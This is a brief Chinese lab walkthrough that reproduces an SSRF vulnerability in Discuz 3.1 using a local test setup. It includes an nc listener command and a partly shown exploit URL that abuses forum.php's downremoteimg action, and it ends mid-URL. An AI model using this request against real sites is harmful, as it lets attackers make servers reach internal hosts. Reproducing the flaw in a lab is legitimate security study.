Discuz-3.1 ssrf漏洞利用操作

773617250渗透学习交流群，群内定期发布课程直播内容、时间及地址，欢迎大家进群学习！感谢大家的支持！

#001 环境搭建：
 Phpstudy+win7搭建discuz漏洞环境
 把Discuz-3.1 源码拖到网站根目录，然后访问upload目录进行安装，根据提示即可
 安装完成访问一波：

#002 漏洞复现：
 Centos7，临时关闭防火墙

 开启nc监听6666端口：nc -lvp 6666

 查看centos7的ip

 利用discuz的漏洞向centos7发起一个请求：

http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.1